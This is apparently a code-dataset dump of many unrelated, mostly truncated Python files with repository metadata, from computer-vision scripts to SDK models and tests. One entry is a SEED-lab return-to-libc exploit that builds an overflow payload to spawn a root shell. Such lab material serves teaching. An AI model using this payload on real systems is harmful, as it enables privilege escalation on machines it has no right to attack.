] | 29 | 2018-07-21T05:22:22.000Z | 2022-02-03T17:02:30.000Z | tests/test_greater_than_last_page.py | rohrfacu/scribd-dl | a7614a6747ea166bac68278dcfb0e05fc5441613 | [
"MIT"
] | 15 | 2018-03-20T22:19:03.000Z | 2022-03-11T23:18:33.000Z | tests/test_greater_than_last_page.py | rohrfacu/scribd-dl | a7614a6747ea166bac68278dcfb0e05fc5441613 | [
"MIT"
] | 8 | 2019-01-05T15:43:45.000Z | 2021-12-28T02:13:40.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
| 24.785714 | 78 | 0.726225 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import pytest
from scribd_dl.utils import GreaterThanLastPageError
def test_16p_greater_than_last_page(scribd):
URL = ['https://www.scribd.com/document/106884805/Nebraska-Wing-Sep-2012']
PAGES = '15-22'
with pytest.raises(GreaterThanLastPageError):
s... | 0 | 0 | 0 | 0 | 0 | 209 | 0 | 23 | 68 |
bcd2a38cdaa5db59a7b99c67768d348d66d930fb | 12,679 | py | Python | gbd.py | Weitspringer/gbd | fed29b9f15167553e93af9a1a88aa6782c761e15 | [
"MIT"
] | null | null | null | gbd.py | Weitspringer/gbd | fed29b9f15167553e93af9a1a88aa6782c761e15 | [
"MIT"
] | null | null | null | gbd.py | Weitspringer/gbd | fed29b9f15167553e93af9a1a88aa6782c761e15 | [
"MIT"
] | 1 | 2019-03-11T17:34:27.000Z | 2019-03-11T17:34:27.000Z | #!/usr/bin/python3
# -*- coding: utf-8 -*-
# GBD Benchmark Database (GBD)
# Copyright (C) 2020 Markus Iser, Karlsruhe Institute of Technology (KIT)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Founda... | 48.209125 | 172 | 0.707469 | #!/usr/bin/python3
# -*- coding: utf-8 -*-
# GBD Benchmark Database (GBD)
# Copyright (C) 2020 Markus Iser, Karlsruhe Institute of Technology (KIT)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Founda... | 0 | 0 | 0 | 0 | 0 | 11,050 | 0 | 28 | 587 |
a7c69c0e46b65b512253d91d74c9490f419a98cd | 4,701 | py | Python | gp_topo/im2skeleton.py | STAR-Center/IncrementalTopo | befbcd55f8a438ff3dd1a2d1d5d4fbb467dc149f | [
"MIT"
] | 5 | 2021-05-21T17:24:47.000Z | 2021-12-24T16:30:30.000Z | gp_topo/im2skeleton.py | STAR-Center/IncrementalTopo | befbcd55f8a438ff3dd1a2d1d5d4fbb467dc149f | [
"MIT"
] | null | null | null | gp_topo/im2skeleton.py | STAR-Center/IncrementalTopo | befbcd55f8a438ff3dd1a2d1d5d4fbb467dc149f | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import numpy as np
import scipy.stats as st
def gkern(kernlen=21, nsig=3):
"""Returns a 2D Gaussian kernel array."""
interval = (2*nsig+1.)/(kernlen)
x = np.linspace(-nsig-interval/2., nsig+interval/2., kernlen+1)
kern1d = np.diff(st.norm.cdf(x))
kernel_ra... | 30.525974 | 175 | 0.551159 | #!/usr/bin/env python
import numpy as np
from scipy.misc import imread, imresize
import matplotlib.pyplot as plt
import cv2
import scipy.io
import scipy.stats as st
from scipy import ndimage as ndi
from skimage import feature
from skimage.morphology import skeletonize
import pdb
def gkern(kernlen=21, nsig=3):
... | 0 | 0 | 0 | 0 | 0 | 2,014 | 0 | 38 | 314 |
0ac8a39f5923932c99b25bbd9d68f27f7fed8416 | 19,018 | py | Python | src/oci/database/models/vm_cluster_network_summary.py | LaudateCorpus1/oci-python-sdk | b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015 | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | src/oci/database/models/vm_cluster_network_summary.py | LaudateCorpus1/oci-python-sdk | b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015 | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | src/oci/database/models/vm_cluster_network_summary.py | LaudateCorpus1/oci-python-sdk | b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015 | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | # coding: utf-8
# Copyright (c) 2016, 2022, Oracle and/or its affiliates. All rights reserved.
# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may c... | 34.32852 | 245 | 0.663319 | # coding: utf-8
# Copyright (c) 2016, 2022, Oracle and/or its affiliates. All rights reserved.
# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may c... | 0 | 18,487 | 0 | 0 | 0 | 0 | 0 | 105 | 82 |
a91df1faabe8702b1314ebe6bffae090880e94c7 | 791 | py | Python | Python/leetcode/SortColors.py | darrencheng0817/AlgorithmLearning | aec1ddd0c51b619c1bae1e05f940d9ed587aa82f | [
"MIT"
] | 2 | 2015-12-02T06:44:01.000Z | 2016-05-04T21:40:54.000Z | Python/leetcode/SortColors.py | darrencheng0817/AlgorithmLearning | aec1ddd0c51b619c1bae1e05f940d9ed587aa82f | [
"MIT"
] | null | null | null | Python/leetcode/SortColors.py | darrencheng0817/AlgorithmLearning | aec1ddd0c51b619c1bae1e05f940d9ed587aa82f | [
"MIT"
] | null | null | null | '''
Created on 1.12.2016
@author: Darren
''''''
Given an array with n objects colored red, white or blue, sort them so that objects of the same color are adjacent, with the colors in the order red, white and blue.
Here, we will use the integers 0, 1, and 2 to represent the color red, white, and blue... | 27.275862 | 167 | 0.694058 | '''
Created on 1.12.2016
@author: Darren
''''''
Given an array with n objects colored red, white or blue, sort them so that objects of the same color are adjacent, with the colors in the order red, white and blue.
Here, we will use the integers 0, 1, and 2 to represent the color red, white, and blue... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
fb70ef5d584ff236b83f513f4dbf4320a186e0ba | 3,604 | py | Python | python/blog_retinal_filterII.py | sinodanishspain/BioMulti-L-NL-Model | ce3ef6834f82d14c3a9b44f6ce79175c79fed432 | [
"BSD-3-Clause"
] | 2 | 2021-05-20T15:40:59.000Z | 2021-08-10T21:58:50.000Z | python/blog_retinal_filterII.py | sinodanish/BioMulti-L-NL-Model | ce3ef6834f82d14c3a9b44f6ce79175c79fed432 | [
"BSD-3-Clause"
] | 1 | 2020-11-02T19:36:52.000Z | 2020-12-07T12:10:29.000Z | python/blog_retinal_filterII.py | sinodanishspain/BioMulti-L-NL-Model | ce3ef6834f82d14c3a9b44f6ce79175c79fed432 | [
"BSD-3-Clause"
] | null | null | null |
import matplotlib.pyplot as plt
import numpy as np
from kernel_functions import create_kernel
#Time parameters
dt = 1.0 #milliseconds
dt_kernel = 5.0 #milliseconds
dt_stimuli = 10.0 # milliseconds
kernel_size = 25 # The size of the kernel
T_simulation = 8 * 10 ** 4.0 # Total time of the simulation in ms
Nt_s... | 31.614035 | 107 | 0.699501 |
import matplotlib.pyplot as plt
import numpy as np
from kernel_functions import create_kernel
#Time parameters
dt = 1.0 #milliseconds
dt_kernel = 5.0 #milliseconds
dt_stimuli = 10.0 # milliseconds
kernel_size = 25 # The size of the kernel
T_simulation = 8 * 10 ** 4.0 # Total time of the simulation in ms
Nt_s... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
c4fac17d9676fc90118b4d0012533722fc90f013 | 1,859 | py | Python | src/batched_inv_joblib.py | sumitsidana/cofactor | d392a7838f868491267a2a6f82cab27bcb5d1870 | [
"Apache-2.0"
] | 175 | 2016-07-04T02:32:08.000Z | 2022-03-13T08:18:13.000Z | src/batched_inv_joblib.py | sumitsidana/cofactor | d392a7838f868491267a2a6f82cab27bcb5d1870 | [
"Apache-2.0"
] | 1 | 2017-08-22T17:54:43.000Z | 2017-08-22T17:54:43.000Z | src/batched_inv_joblib.py | sumitsidana/cofactor | d392a7838f868491267a2a6f82cab27bcb5d1870 | [
"Apache-2.0"
] | 67 | 2016-07-16T15:23:25.000Z | 2022-03-21T09:13:01.000Z | import os
os.environ['OPENBLAS_NUM_THREADS'] = '1'
| 26.557143 | 79 | 0.565358 | import os
os.environ['OPENBLAS_NUM_THREADS'] = '1'
import numpy as np
from joblib import Parallel, delayed
def get_row(S, i):
lo, hi = S.indptr[i], S.indptr[i + 1]
return S.data[lo:hi], S.indices[lo:hi]
def solve_sequential(As, Bs):
X_stack = np.empty_like(As, dtype=As.dtype)
for k in xrange(As.sh... | 0 | 0 | 0 | 0 | 0 | 1,655 | 0 | 12 | 137 |
3c7bd006c0a420e866801f52043bc4411f31df15 | 1,970 | py | Python | webdriver/tests/minimize_window.py | hiikezoe/web-platform-tests | 87427523dc6baf2fb06dd8ea33c1b72e7d2fc831 | [
"BSD-3-Clause"
] | 1 | 2020-02-13T14:28:56.000Z | 2020-02-13T14:28:56.000Z | webdriver/tests/minimize_window.py | hiikezoe/web-platform-tests | 87427523dc6baf2fb06dd8ea33c1b72e7d2fc831 | [
"BSD-3-Clause"
] | null | null | null | webdriver/tests/minimize_window.py | hiikezoe/web-platform-tests | 87427523dc6baf2fb06dd8ea33c1b72e7d2fc831 | [
"BSD-3-Clause"
] | null | null | null | from tests.support.inline import inline
alert_doc = inline("<script>window.alert()</script>")
# 10.7.4 Minimize Window
| 26.621622 | 92 | 0.715736 | from tests.support.inline import inline
from tests.support.asserts import assert_error, assert_success
alert_doc = inline("<script>window.alert()</script>")
def minimize(session):
return session.transport.send("POST", "session/%s/window/minimize" % session.session_id)
# 10.7.4 Minimize Window
def test_minim... | 0 | 0 | 0 | 0 | 0 | 1,640 | 0 | 41 | 160 |
62876f2003ed1233ecfb22b20526742a16e236ac | 560 | py | Python | adminapp/migrations/0016_alter_question_user.py | mofresh27/MuseumExperience-Group2-Python-BE-1 | d6ca7aceeddfcfdefdf112ab5e40cf74d6b472ce | [
"MIT"
] | null | null | null | adminapp/migrations/0016_alter_question_user.py | mofresh27/MuseumExperience-Group2-Python-BE-1 | d6ca7aceeddfcfdefdf112ab5e40cf74d6b472ce | [
"MIT"
] | 1 | 2021-07-19T14:27:28.000Z | 2021-07-19T14:27:28.000Z | adminapp/migrations/0016_alter_question_user.py | mofresh27/MuseumExperience-Group2-Python-BE-1 | d6ca7aceeddfcfdefdf112ab5e40cf74d6b472ce | [
"MIT"
] | 2 | 2021-07-14T21:56:46.000Z | 2021-07-15T16:11:41.000Z | # Generated by Django 3.2.4 on 2021-07-19 13:30
| 26.666667 | 157 | 0.676786 | # Generated by Django 3.2.4 on 2021-07-19 13:30
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('adminapp', '0015_auto_20210714_1213'),
]
operations = [
migrations.AlterFi... | 0 | 0 | 0 | 380 | 0 | 0 | 0 | 41 | 90 |
028fb3e5baacfe87c6dfb8f13eb90e2ad92fc8f8 | 948 | py | Python | YouTubeSpotify/YouTube_DLApi.py | SolomonRosemite/Console-YouTubeToSpotify | 68de8ec5bed7ff9b7a625a083f24662b7fc01f4a | [
"MIT"
] | null | null | null | YouTubeSpotify/YouTube_DLApi.py | SolomonRosemite/Console-YouTubeToSpotify | 68de8ec5bed7ff9b7a625a083f24662b7fc01f4a | [
"MIT"
] | null | null | null | YouTubeSpotify/YouTube_DLApi.py | SolomonRosemite/Console-YouTubeToSpotify | 68de8ec5bed7ff9b7a625a083f24662b7fc01f4a | [
"MIT"
] | null | null | null | from __future__ import unicode_literals
import youtube_dl
import json
import sys
playlist_url = sys.argv[1]
ydl_opts = {'ignoreerrors': True}
with youtube_dl.YoutubeDL(ydl_opts) as ydl:
playlist = ydl.extract_info(playlist_url, download=False)
songs = []
failed = []
for song in playlist['entries']:
try:
... | 21.545455 | 81 | 0.598101 | from __future__ import unicode_literals
import youtube_dl
import json
import sys
import re
playlist_url = sys.argv[1]
def get_song_of_title(title):
if '-' not in title:
if '"' not in title:
return title
result = re.search('"(.*)"', title)
return title.split(' ')[0] + "+" + re... | 0 | 0 | 0 | 0 | 0 | 267 | 0 | -12 | 45 |
0e2f5c17452f9fffdff09da7ea0e32d90e535d2a | 931 | py | Python | src/products/tests/bundles_api/conftest.py | denkasyanov/education-backend | c796b6f2f1cc1cd09f83cab2ca0cc45344906ef5 | [
"MIT"
] | 151 | 2020-04-21T09:58:57.000Z | 2021-09-12T09:01:21.000Z | src/products/tests/bundles_api/conftest.py | denkasyanov/education-backend | c796b6f2f1cc1cd09f83cab2ca0cc45344906ef5 | [
"MIT"
] | 163 | 2020-05-29T20:52:00.000Z | 2021-09-11T12:44:56.000Z | src/products/tests/bundles_api/conftest.py | boochamoocha/education-backend | c6ffb0c00bc066c8f1e0a8c0ffe4d0215c7c416a | [
"MIT"
] | 39 | 2020-04-21T12:28:16.000Z | 2021-09-12T15:33:47.000Z | import pytest
pytestmark = [pytest.mark.django_db]
| 24.5 | 109 | 0.684211 | import pytest
from tinkoff.bank import TinkoffBank
pytestmark = [pytest.mark.django_db]
@pytest.fixture
def bundle(mixer):
return mixer.blend('products.Bundle', slug='pinetree-tickets', name='Флаг и билет на ёлку', price=1900)
@pytest.fixture(autouse=True)
def payment_url(mocker):
return mocker.patch.obje... | 32 | 729 | 0 | 0 | 0 | 0 | 0 | 15 | 115 |
d4ec2cba7e384970285238ecd88e35716c2298cb | 6,208 | py | Python | google/cloud/monitoring_dashboard_v1/types/layouts.py | renovate-bot/python-monitoring-dashboards | c1d74f0fbb38f805d7f72f8150cbbb6e5be8c694 | [
"Apache-2.0"
] | 13 | 2020-03-24T22:54:01.000Z | 2022-03-28T22:06:31.000Z | google/cloud/monitoring_dashboard_v1/types/layouts.py | renovate-bot/python-monitoring-dashboards | c1d74f0fbb38f805d7f72f8150cbbb6e5be8c694 | [
"Apache-2.0"
] | 51 | 2020-01-15T17:48:18.000Z | 2022-03-07T16:01:50.000Z | google/cloud/monitoring_dashboard_v1/types/layouts.py | renovate-bot/python-monitoring-dashboards | c1d74f0fbb38f805d7f72f8150cbbb6e5be8c694 | [
"Apache-2.0"
] | 8 | 2020-01-15T00:35:12.000Z | 2022-01-29T08:11:27.000Z | # -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | 37.853659 | 91 | 0.641914 | # -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | 0 | 0 | 0 | 5,203 | 0 | 0 | 0 | 54 | 115 |
0b7cb0ca86602de91644d04fec31cbb91dc90077 | 42 | py | Python | tests/__init__.py | mmyros/bayes-window | 73b44537a327f2acd6ace3390b48eb461d4faef6 | [
"MIT"
] | null | null | null | tests/__init__.py | mmyros/bayes-window | 73b44537a327f2acd6ace3390b48eb461d4faef6 | [
"MIT"
] | 3 | 2021-03-16T14:04:49.000Z | 2021-04-09T01:02:38.000Z | tests/__init__.py | mmyros/bayes-window | 73b44537a327f2acd6ace3390b48eb461d4faef6 | [
"MIT"
] | null | null | null | """Unit test package for bayes_window."""
| 21 | 41 | 0.714286 | """Unit test package for bayes_window."""
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
2747c17dc23d5dcd92fa40a43cfbcb2d97b72a44 | 2,408 | py | Python | unittests/python/grammar.py | ThomasBollmeier/bovinus | f83a43477e8422e627ce63de7b7410f3ab34cd11 | [
"Apache-2.0"
] | null | null | null | unittests/python/grammar.py | ThomasBollmeier/bovinus | f83a43477e8422e627ce63de7b7410f3ab34cd11 | [
"Apache-2.0"
] | null | null | null | unittests/python/grammar.py | ThomasBollmeier/bovinus | f83a43477e8422e627ce63de7b7410f3ab34cd11 | [
"Apache-2.0"
] | null | null | null | #! coding=UTF-8
# Copyright 2012 Thomas Bollmeier <tbollmeier@web.de>
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by app... | 24.323232 | 101 | 0.692276 | #! coding=UTF-8
# Copyright 2012 Thomas Bollmeier <tbollmeier@web.de>
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by app... | 0 | 783 | 0 | 255 | 0 | 121 | 0 | 89 | 164 |
f532d63e69e04cf883d8ba594d689c3a6c2f70ee | 5,480 | py | Python | src/data/head_posture.py | samirchar/stroke_detection | 98914acf6d2423914f08faf7cb19450f136b5b4f | [
"MIT"
] | null | null | null | src/data/head_posture.py | samirchar/stroke_detection | 98914acf6d2423914f08faf7cb19450f136b5b4f | [
"MIT"
] | null | null | null | src/data/head_posture.py | samirchar/stroke_detection | 98914acf6d2423914f08faf7cb19450f136b5b4f | [
"MIT"
] | null | null | null | import mediapipe as mp
import numpy as np
from custom.face_geometry import (procrustes_landmark_basis)
mp_drawing = mp.solutions.drawing_utils
mp_face_mesh = mp.solutions.face_mesh
drawing_spec = mp_drawing.DrawingSpec(thickness=1, circle_radius=3)
points_idx = [33, 263, 61, 291, 199]
points_idx = points_idx + [key ... | 34.904459 | 115 | 0.540328 | import cv2
import mediapipe as mp
import numpy as np
from videosource import WebcamSource
from custom.face_geometry import ( # isort:skip
PCF,
get_metric_landmarks,
procrustes_landmark_basis,
)
mp_drawing = mp.solutions.drawing_utils
mp_face_mesh = mp.solutions.face_mesh
drawing_spec = mp_drawing.Drawin... | 0 | 0 | 0 | 0 | 0 | 4,452 | 0 | 60 | 68 |
8f13347078bff4217511ddf083850679b2ac2233 | 5,094 | py | Python | monk_sqlalchemy/orm.py | IcyCC/monk-sqlalchemy | b9510f7dc689a93dd96175b0c2996ab594d0bb0b | [
"MIT"
] | 2 | 2017-08-30T15:18:41.000Z | 2017-09-18T13:17:07.000Z | monk_sqlalchemy/orm.py | IcyCC/monk-sqlalchemy | b9510f7dc689a93dd96175b0c2996ab594d0bb0b | [
"MIT"
] | null | null | null | monk_sqlalchemy/orm.py | IcyCC/monk-sqlalchemy | b9510f7dc689a93dd96175b0c2996ab594d0bb0b | [
"MIT"
] | null | null | null | import asyncio
import logging
from . import conn
| 30.321429 | 117 | 0.563997 | import asyncio
import logging
from . import conn
import asyncio
import logging
from . import conn
class Field(object):
def __init__(self, type, primary_key=False, default=None):
self.name = None
self.type = type
self.primary_key = primary_key
self.default = default
def __str... | 0 | 1,358 | 1,063 | 2,425 | 0 | 0 | 0 | -17 | 205 |
c5ee9d370b66e591db684634caa52a5170e93460 | 1,223 | py | Python | auth-api/src/auth_api/schemas/camel_case_schema.py | countable/sbc-auth | 6db2dae8f3da0cc77eee127d1e0de449d7228946 | [
"Apache-2.0"
] | null | null | null | auth-api/src/auth_api/schemas/camel_case_schema.py | countable/sbc-auth | 6db2dae8f3da0cc77eee127d1e0de449d7228946 | [
"Apache-2.0"
] | 2 | 2019-03-25T18:42:13.000Z | 2020-01-13T05:48:53.000Z | auth-api/src/auth_api/schemas/camel_case_schema.py | countable/sbc-auth | 6db2dae8f3da0cc77eee127d1e0de449d7228946 | [
"Apache-2.0"
] | null | null | null | # Copyright 2019 Province of British Columbia
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agre... | 39.451613 | 117 | 0.739166 | # Copyright © 2019 Province of British Columbia
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agr... | 2 | 0 | 0 | 343 | 0 | 0 | 0 | 14 | 46 |
85f004672f6de832133d122361ab845d6318972e | 3,741 | py | Python | gans/architectures/HDCGAN.py | christophstach/research-project-gan | 1619565e30163a77d4777c5e9738d2393bac59af | [
"Apache-2.0"
] | 1 | 2021-02-13T10:50:28.000Z | 2021-02-13T10:50:28.000Z | gans/architectures/HDCGAN.py | christophstach/research-project-gan | 1619565e30163a77d4777c5e9738d2393bac59af | [
"Apache-2.0"
] | null | null | null | gans/architectures/HDCGAN.py | christophstach/research-project-gan | 1619565e30163a77d4777c5e9738d2393bac59af | [
"Apache-2.0"
] | null | null | null | import torch.nn as nn
| 21.75 | 83 | 0.471532 | import torch.nn as nn
import torch.nn.functional as F
import gans.building_blocks as bb
class FirstHDCGANBlock(nn.Module):
def __init__(self, noise_size, filters, bias=False):
super().__init__()
self.conv1 = nn.ConvTranspose2d(
noise_size,
filters,
kernel_size... | 0 | 0 | 0 | 3,556 | 0 | 0 | 0 | 22 | 137 |
38d333facd11fe2429a2998968bdd16b230cd430 | 1,466 | py | Python | python2/redis_stats_web.py | cgoldberg/corey-projects | 5e6ca9fd02f00a8e44692eed68234a12cf2d5bca | [
"WTFPL"
] | null | null | null | python2/redis_stats_web.py | cgoldberg/corey-projects | 5e6ca9fd02f00a8e44692eed68234a12cf2d5bca | [
"WTFPL"
] | null | null | null | python2/redis_stats_web.py | cgoldberg/corey-projects | 5e6ca9fd02f00a8e44692eed68234a12cf2d5bca | [
"WTFPL"
] | null | null | null | #!/usr/bin/env python
# Corey Goldberg - 2010
#
# display info/stats from redis server (using python redis client) in a web page
# to access: run this script then visit http://<your_server>/stats
import BaseHTTPServer
WEB_PORT = 8081
REDIS_HOST = 'host.foo.com'
REDIS_PORT = 6379
REDIS_DB = 0
... | 29.918367 | 96 | 0.568895 | #!/usr/bin/env python
# Corey Goldberg - 2010
#
# display info/stats from redis server (using python redis client) in a web page
# to access: run this script then visit http://<your_server>/stats
import redis
import BaseHTTPServer
WEB_PORT = 8081
REDIS_HOST = 'host.foo.com'
REDIS_PORT = 6379
REDIS_D... | 0 | 0 | 0 | 998 | 0 | 0 | 0 | -9 | 50 |
80509b70cf9adac4ac2c55033d4382b5db357692 | 6,664 | py | Python | act/types/types.py | martineian/act-types | c55ad30abb9068fd1c9bca4c2d42734de4db0858 | [
"ISC"
] | null | null | null | act/types/types.py | martineian/act-types | c55ad30abb9068fd1c9bca4c2d42734de4db0858 | [
"ISC"
] | null | null | null | act/types/types.py | martineian/act-types | c55ad30abb9068fd1c9bca4c2d42734de4db0858 | [
"ISC"
] | null | null | null | #!/usr/bin/env python3
""" Add ACT types """
import argparse
import json
import os
import sys
from logging import critical, warning
from typing import Any, Dict, List, Text
from pkg_resources import resource_filename
import act.api
def parseargs() -> argparse.Namespace:
""" Parse arguments """
parser = ar... | 30.851852 | 96 | 0.645408 | #!/usr/bin/env python3
""" Add ACT types """
import argparse
import json
import os
import sys
from logging import critical, warning
from typing import Any, Dict, List, Text
from pkg_resources import resource_filename
import act.api
def parseargs() -> argparse.Namespace:
""" Parse arguments """
parser = ar... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
926848a1d03299d66b69243efefede9be1d5367d | 755 | py | Python | Return-to-libc-Attack/exploit.py | nvnhcmus/seedlab | f897fbc8b339ea0b8f4cbc49701e171b763b1bce | [
"MIT"
] | 41 | 2020-03-07T12:38:17.000Z | 2022-03-24T06:12:13.000Z | Return-to-libc-Attack/exploit.py | nvnhcmus/seedlab | f897fbc8b339ea0b8f4cbc49701e171b763b1bce | [
"MIT"
] | 1 | 2020-11-17T06:24:49.000Z | 2020-11-17T07:09:59.000Z | Return-to-libc-Attack/exploit.py | nvnhcmus/seedlab | f897fbc8b339ea0b8f4cbc49701e171b763b1bce | [
"MIT"
] | 29 | 2020-04-14T20:44:53.000Z | 2022-03-07T17:06:16.000Z | #!/usr/bin/python3
# Fill content with non-zero values
content = bytearray(0xaa for i in range(40)) #**Note**: it must be modified there. the origin length of `content` is 300, which may cause `retlib` return directly without launching a root shell. Please change the length to a smaller int.
X = 32
sh_addr = 0xbf... | 34.318182 | 241 | 0.698013 | #!/usr/bin/python3
import sys
# Fill content with non-zero values
content = bytearray(0xaa for i in range(40)) #**Note**: it must be modified there. the origin length of `content` is 300, which may cause `retlib` return directly without launching a root shell. Please change the length to a smaller int.
X = 32
sh_... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | -11 | 22 |
d5d985b9467de283e2ad673282cbd5683bb27892 | 1,602 | py | Python | spark_auto_mapper_fhir/value_sets/equipment_alert_level.py | imranq2/SparkAutoMapper.FHIR | dd23b218fb0097d1edc2f3e688e8d6d4d7278bd2 | [
"Apache-2.0"
] | 1 | 2020-10-31T23:25:07.000Z | 2020-10-31T23:25:07.000Z | spark_auto_mapper_fhir/value_sets/equipment_alert_level.py | icanbwell/SparkAutoMapper.FHIR | 98f368e781b46523142c7cb513c670d659a93c9b | [
"Apache-2.0"
] | null | null | null | spark_auto_mapper_fhir/value_sets/equipment_alert_level.py | icanbwell/SparkAutoMapper.FHIR | 98f368e781b46523142c7cb513c670d659a93c9b | [
"Apache-2.0"
] | null | null | null | from __future__ import annotations
# This file is auto-generated by generate_classes so do not edit manually
# noinspection PyPep8Naming
| 32.693878 | 92 | 0.7397 | from __future__ import annotations
from spark_auto_mapper_fhir.fhir_types.uri import FhirUri
from spark_auto_mapper_fhir.value_sets.generic_type import GenericTypeCode
from spark_auto_mapper.type_definitions.defined_types import AutoMapperTextInputType
# This file is auto-generated by generate_classes so do not edi... | 0 | 0 | 0 | 1,197 | 0 | 0 | 0 | 152 | 113 |
5528b01d5d1190dc3f029f4298d4aedd4627ae89 | 8,426 | py | Python | tests/test_proto2rest.py | noahdietz/storage-testbench | b122e47b69cabcdf981969068df0e9d805f129a3 | [
"Apache-2.0"
] | null | null | null | tests/test_proto2rest.py | noahdietz/storage-testbench | b122e47b69cabcdf981969068df0e9d805f129a3 | [
"Apache-2.0"
] | null | null | null | tests/test_proto2rest.py | noahdietz/storage-testbench | b122e47b69cabcdf981969068df0e9d805f129a3 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
#
# Copyright 2022 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | 38.3 | 90 | 0.547591 | #!/usr/bin/env python3
#
# Copyright 2022 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | 0 | 0 | 0 | 7,643 | 0 | 0 | 0 | 15 | 69 |
8fa1f123c72900b0a3d0dd21d41d92649ad349ac | 20,580 | py | Python | scripts/build/TestImpactAnalysis/mars_utils.py | cypherdotXd/o3de | bb90c4ddfe2d495e9c00ebf1e2650c6d603a5676 | [
"Apache-2.0",
"MIT"
] | 11 | 2021-07-08T09:58:26.000Z | 2022-03-17T17:59:26.000Z | scripts/build/TestImpactAnalysis/mars_utils.py | RoddieKieley/o3de | e804fd2a4241b039a42d9fa54eaae17dc94a7a92 | [
"Apache-2.0",
"MIT"
] | 29 | 2021-07-06T19:33:52.000Z | 2022-03-22T10:27:49.000Z | scripts/build/TestImpactAnalysis/mars_utils.py | RoddieKieley/o3de | e804fd2a4241b039a42d9fa54eaae17dc94a7a92 | [
"Apache-2.0",
"MIT"
] | 4 | 2021-07-06T19:24:43.000Z | 2022-03-31T12:42:27.000Z | #
# Copyright (c) Contributors to the Open 3D Engine Project.
# For complete copyright and license terms please see the LICENSE at the root of this distribution.
#
# SPDX-License-Identifier: Apache-2.0 OR MIT
#
#
import datetime
from tiaf_logger import get_logger
logger = get_logger(__file__)
MARS_JOB_KEY = "job"
BU... | 45.131579 | 336 | 0.756171 | #
# Copyright (c) Contributors to the Open 3D Engine Project.
# For complete copyright and license terms please see the LICENSE at the root of this distribution.
#
# SPDX-License-Identifier: Apache-2.0 OR MIT
#
#
import datetime
import json
import socket
from tiaf_logger import get_logger
logger = get_logger(__file__... | 0 | 0 | 0 | 1,735 | 0 | 0 | 0 | -18 | 90 |
6a6dfe981143609ae1e7b754c044e3d542bb99cd | 1,036 | py | Python | opencv.py | maxupravitelev/smart-mirror-toolkit | 4eea7eab8be0c325efdfd03f5c2f27d1d33657aa | [
"MIT"
] | null | null | null | opencv.py | maxupravitelev/smart-mirror-toolkit | 4eea7eab8be0c325efdfd03f5c2f27d1d33657aa | [
"MIT"
] | null | null | null | opencv.py | maxupravitelev/smart-mirror-toolkit | 4eea7eab8be0c325efdfd03f5c2f27d1d33657aa | [
"MIT"
] | null | null | null | import cv2
cap = cv2.VideoCapture(0)
tracker = cv2.TrackerMOSSE_create() # speed yay, accuracy low
# tracker = cv2.TrackerCRST_create() # speed low, accuracy yay
success, img = cap.read()
bbox = cv2.selectROI("Tracking", img, False)
tracker.init(img,bbox)
while True:
timer = cv2.getTickCount()
success, im... | 25.9 | 89 | 0.617761 | import cv2
cap = cv2.VideoCapture(0)
tracker = cv2.TrackerMOSSE_create() # speed yay, accuracy low
# tracker = cv2.TrackerCRST_create() # speed low, accuracy yay
success, img = cap.read()
bbox = cv2.selectROI("Tracking", img, False)
tracker.init(img,bbox)
def drawBox(img,bbox):
x, y, w, h = int(bbox[0]), int(... | 0 | 0 | 0 | 0 | 0 | 228 | 0 | 0 | 23 |
7f26faab2ef1a77f9d7ff35aecc4b4e1d316fd58 | 2,833 | py | Python | spaint/colorsec.py | ihgazni2/string-painter | 57a456aa65d71b875d41363a71d3f7d588a35c75 | [
"MIT"
